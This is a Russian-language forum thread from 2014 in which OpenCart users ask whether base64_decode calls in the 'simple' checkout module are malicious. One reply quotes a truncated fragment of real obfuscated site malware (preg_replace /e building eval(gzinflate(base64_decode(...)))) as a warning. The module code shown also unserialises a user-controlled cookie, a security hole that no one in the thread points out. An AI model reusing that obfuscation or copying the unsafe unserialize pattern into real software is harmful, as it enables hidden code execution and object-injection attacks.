[Решено] simple-3.8.3 и (base64_decode)

Тема в разделе "OpenCart", создана пользователем Дмитрич, 17 июн 2014.

Статус темы:
Закрыта.
  1. Дмитрич

    Дмитрич

    Регистрация:
    10 апр 2014
    Сообщения:
    191
    Симпатии:
    23
    Добрый день!
    В simple-3.8.3 в двух файлах simple.php и simplecheckout_customer.php есть строки с кодом (base64_decode).
    Я знаю, что так иногда могут кодировать вредоносный код или скрытые ссылки.
    Есть ли этот код в ваших экземплярах модуля и является ли это действительно опасным?
    Опыта нет, сам оценить и декодировать не могу.
    Прошу помочь разобраться! Благодарю за помощь!

    PHP:
      private function load_cookies() {
      if (
    $this->config->get('simple_use_cookies') && isset($this->request->cookie['simple'])) {
      
    $this->cookies unserialize(base64_decode($this->request->cookie['simple']));
      }
      }
    И в другом:
    PHP:
      public function install() {
      
    $this->load->model('setting/setting');
      
    $this->load->model('setting/store');

      
    $stores $this->model_setting_store->getStores();
      
    $stores[] = array('store_id' => 0'name' => 'default');

      
    $settings unserialize(base64_decode($this->default_settings));

      foreach (
    $stores as $key => $value) {
      
    $this->model_setting_setting->editSetting('simple'$settings$value['store_id']);
      }

      
    $this->create_tables();
      }

      if ((
    $this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
      
    $this->create_tables();
       
      if (
    is_uploaded_file($this->request->files['import']['tmp_name'])) {
      
    $content file_get_contents($this->request->files['import']['tmp_name']);
      
    $tmp unserialize(base64_decode($content));
      if (
    is_array($tmp)) {
      
    $this->request->post $tmp;
      }
      }

      private function 
    init_field($field_name$default_value '') {
      if (empty(
    $this->settings)) {
      
    $this->settings $this->model_setting_setting->getSetting('simple',$this->data['store_id']);
      if (empty(
    $this->settings)) {
      
    $this->settings unserialize(base64_decode($this->default_settings));
      }
      }
     
    Lasted edited by : 17 июн 2014
  2. dimva

    dimva

    Регистрация:
    8 дек 2012
    Сообщения:
    30
    Симпатии:
    16
    Может это просто шифрование куков?
    А где сам код, который эти операторы декодируют?
     
    Дмитрич нравится это.
  3. Дмитрич

    Дмитрич

    Регистрация:
    10 апр 2014
    Сообщения:
    191
    Симпатии:
    23
    Я не знаю. А как его найти?
     
  4. dimva

    dimva

    Регистрация:
    8 дек 2012
    Сообщения:
    30
    Симпатии:
    16
    Поискать в файлах. Его сразу заметно. У меня, когда инфицировали сайт, в одном из php файлов лежал зашифрованный вирус. Вот его кусок:

    Код:
    preg_replace("/.*/".'e',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39)."7X1re9pG0/Dn5lesVVpBgzHgpHcKBtvxIXHi2KkPOdl5qBACVAtEJWHsuP7v78zsrrQrCYzT3u/hut7ezxOj3ZnZ2fPs7MxswfY9P2AtZvzY6z83mqzQc/rW1Is6lh25/hhyzH3Xc8J31thUcqeh07H+tG4gPwqmjpJjD60gdCJE/OiOe/4sXK3Vn9cA2e0XV5zRJLotFjqneycf9k4uzNdnZ+875/DV2X61d3Rmfi2V2B0rAPlge+CMoxDoWEFg3RaNV74/8ByjzIxTbxpM8Me706OXfoS/XKtjBfbQvXYC/PxsjXvODf46sUZdDxJLVP4kcAadkRXZw6K5ZrIKc0cTz+85RfNvs6wWW4I8c83FxAd4HTpWzwmKlLtWq1TZs+ozduRHbN+fjnsmlOvcuFGT3cP/t
    Поищите что-нибудь подобное.
     
    Дмитрич нравится это.
  5. Дмитрич

    Дмитрич

    Регистрация:
    10 апр 2014
    Сообщения:
    191
    Симпатии:
    23
    Я на глаз не могу различить, да и вирусы и подобная ерунда не обязаны выглядеть одинаково с вашими.
    Вот нашёл пару мест:
    $simple_common_template = preg_replace('/\[\[[-_a-zA-Z0-9.]+\]\]/si', '', $simple_common_template);

    $this->data['summary_shipping_address'] = trim(str_replace(array("\r\n", "\r", "\n"), '<br />', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '<br />', trim(str_replace($find, $replace, $format)))));

    Ребята, у кого стоит simple! Посмотрите, пожалуйста, у себя есть ли в файлах "
    base64_decode"! Если нет, то тут и гадать нечего, а если у всех есть - то, видимо, так построен модуль.
     
  6. Dotrox

    Dotrox Команда форума

    Регистрация:
    27 ноя 2012
    Сообщения:
    3.198
    Симпатии:
    1.306
    По коду же видно, что это декодирование кукисов, имени загружаемого файла и настроек, соответственно.
    Когда base64_decode используют для обработки вредоносного кода, он, во-первых, обычно вписан прямо тут же, а во-вторых, далее подставляется в eval!
     
Статус темы:
Закрыта.